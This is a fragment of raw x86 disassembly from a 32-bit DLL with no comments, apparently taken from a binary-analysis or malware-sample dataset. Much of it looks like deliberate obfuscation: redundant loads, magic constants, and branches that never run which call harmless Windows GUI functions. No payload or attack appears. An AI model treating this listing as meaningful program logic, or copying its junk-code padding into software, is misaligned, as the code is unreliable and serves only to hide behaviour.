lea ecx, [ebp - 0xbc]
call fcn.10017408
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0xbc]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
push 3
call fcn.10017408
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0xbc]
mov eax, dword [ebp - 0x18]
xor esi, esi
inc esi
push esi
call fcn.10017408
xor ecx, ecx
xor edi, edi
push 3
cmp dword [eax], edi
mov eax, 0xffff
pop edi
setg cl
inc ecx
sub ecx, edi
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
mov dword [ebp - 0x48c], eax
mov dword [ebp - 0x48c], 0
jmp 0x10034c6b
push 3
pop edi
mov dword [ebp - 0x28], edi
xor eax, eax
cmp dword [ebp - 0x28], eax
jl 0x10034c6b
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10034c66
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
xor eax, eax
dec dword [ebp - 0x28]
jns 0x10034c46
lea ecx, [ebp - 0x9c4]
call fcn.10017403
or eax, 0xffffffff
lea ecx, [ebp - 0xbc]
mov dword [ebp - 4], eax
call fcn.10017403
cmp dword [ebp - 0x1e0], 0
jne 0x10034ca8
mov eax, dword [ebp - 0x1e0]
mov eax, dword [ebp - 0x1e0]
mov eax, dword [ebp - 0x1e0]
mov eax, dword [ebp - 0x1e0]
mov eax, dword [ebp - 0x1e0]
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1e0]
mov eax, dword [ebp - 0x1e0]
sub ecx, eax
mov eax, dword [ebp - 0x1e0]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setle bl
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x1e0]
push edi
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0x440]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x14], 0xce53
call fcn.1001737a
mov dword [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x20], 0xeb0badca
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
jge 0x10034d42
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x440]
call fcn.10017408
mov dword [eax], 0xdd03248c
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x10034d24
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10034d4b
mov ecx, eax
jmp 0x10034d50
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x14]
xor ebx, ebx
cmp eax, ecx
lea ecx, [ebp - 0x440]
push 0
setge bl
call fcn.10017408
mov dword [eax], ebx
test ebx, ebx
je 0x10034ef5
mov dword [ebp - 0x28], 0x43c6
lea ecx, [ebp - 0xd04]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x40], 0xffff
push edi
call fcn.1001737a
mov byte [ebp - 4], 0x13
xor eax, eax
mov dword [ebp - 0x40], 0x253d9751
inc eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x2c], 0
jmp 0x10034dca
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xd04]
call fcn.10017408
mov dword [eax], 0x43747c91
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x10034db3
mov dword [ebp - 0x28], 0x949a8df5
cmp dword [ebp - 0x28], 0
jne 0x10034e8e
mov eax, dword [ebp - 0x18]
xor eax, eax
inc eax
cmp dword [ebp - 0x28], eax
jb 0x10034df9
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10034dfb
xor eax, eax
mov edi, eax
push eax
lea ecx, [ebp - 0x440]
call fcn.10017408
push 0
lea ecx, [ebp - 0x440]
mov esi, eax
call fcn.10017408
mov ecx, dword [eax]
mov dword [esi], ecx
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp edi, eax
setle cl
sub ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
inc eax
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0xd04]
push eax
call fcn.10017408
mov ecx, dword [ebp - 0x40]
mov esi, eax
push 4
pop eax
cmp eax, ecx
push 0
sbb ecx, ecx
xor edx, edx
inc ecx
test ecx, ecx
mov ecx, dword [ebp - 0x14]
setg dl
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x440]
setg al
add eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x38]
mov dword [esi], eax
mov eax, dword [ebp - 0x28]
call fcn.10017408
xor edi, edi
cmp dword [eax], edi
jne 0x10034e8e
xor eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x20]
push 6
pop ecx
sub ecx, eax
add ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 0x14]
jne 0x10034ec3
push 0
lea ecx, [ebp - 0x440]
call fcn.10017408
xor edi, edi
cmp dword [eax], edi
jne 0x10034ec3
xor eax, eax
lea ecx, [eax + 1]
mov dword [ebp - 0x40], ecx
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10034ee1
mov dword [ebp - 0x20], 0
jmp 0x10034f22
mov byte [ebp - 0x39], 0
cmp byte [ebp - 0x39], 0
je 0x10034f1f
push 0xdb2
push 0x48b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableScrollBar]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x10034efe
push 0
lea ecx, [ebp - 0x440]
call fcn.10017408
mov ecx, dword [ebp - 0x18]
or ebx, 0xffffffff
mov dword [ebp - 4], ebx
mov dword [eax], ecx
lea ecx, [ebp - 0x440]
call fcn.10017403
mov eax, dword [ebp - 0x48]
xor ecx, ecx
mov eax, dword [ebp - 0x1e0]
cmp eax, 0x705e8c87
mov eax, dword [ebp - 0x1e0]
setle cl
add eax, ecx
jne 0x10034fc4
cmp dword [ebp - 0x54], eax
jne 0x10034fc6
xor eax, eax
cmp dword [ebp - 0x54], eax
je 0x10034f6d